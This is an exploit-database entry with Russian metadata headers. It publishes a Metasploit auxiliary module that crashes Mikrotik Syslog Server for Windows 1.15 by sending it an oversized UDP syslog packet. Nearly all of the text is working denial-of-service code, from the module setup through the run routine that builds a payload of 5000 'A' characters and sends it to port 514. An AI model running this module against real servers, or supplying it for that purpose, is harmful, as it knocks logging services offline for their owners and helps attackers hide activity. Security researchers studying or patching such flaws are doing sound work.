Mikrotik Syslog Server for Windows 1.15 - DoS Exploit

Свойства

Дата публикации:
24.04.2013
Цель:
Mikrotik Syslog Server for Windows 1.15
Тип воздействия:
Отказ в обслуживании

Код

# Exploit Title: Mikrotik Syslog Server for Windows - remote BOF DOS 
# Date: 19.04.2013
# Exploit Author: xis_one@STM Solutions
# Vendor Homepage:  www.mikrotik.com
# Software Link: http://www.mikrotik.com/download/MT_Syslog.exe
# Version: 1.15 (most recent version 19.04.2013)
# Tested on: Windows XP SP3, Windows 7 SP1

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::Udp
    include Msf::Auxiliary::Dos

    def initialize
        super(
            'Name'        => 'Mikrotik Syslog Server for Windows - remote BOF DOS',
            'Description' => %q{
                    This module triggers the windows socket error WSAEMSGSIZE (message to long)
                                        in the Mikrotik Syslog Server for Windows v 1.15 and crashes it.
                                        The long syslog message overwrite the allocated buffer space causing the socket error.
                                          
            },
            'Author'      => 'xis_one@STM Solutions',
            'License'     => MSF_LICENSE,
            'DisclosureDate' => 'Apr 19 2013')

        register_options(
            [
                Opt::RPORT(514)
            ])
    end

    def run
        connect_udp
        pkt = "<0>" + "Apr19 " +  "10.0.0.2 " + "badass" + ": " + "A"*5000
        print_status("Crashing the remote Mikrotik syslog server #{rhost}")
        udp_sock.put(pkt)
        disconnect_udp
    end
end

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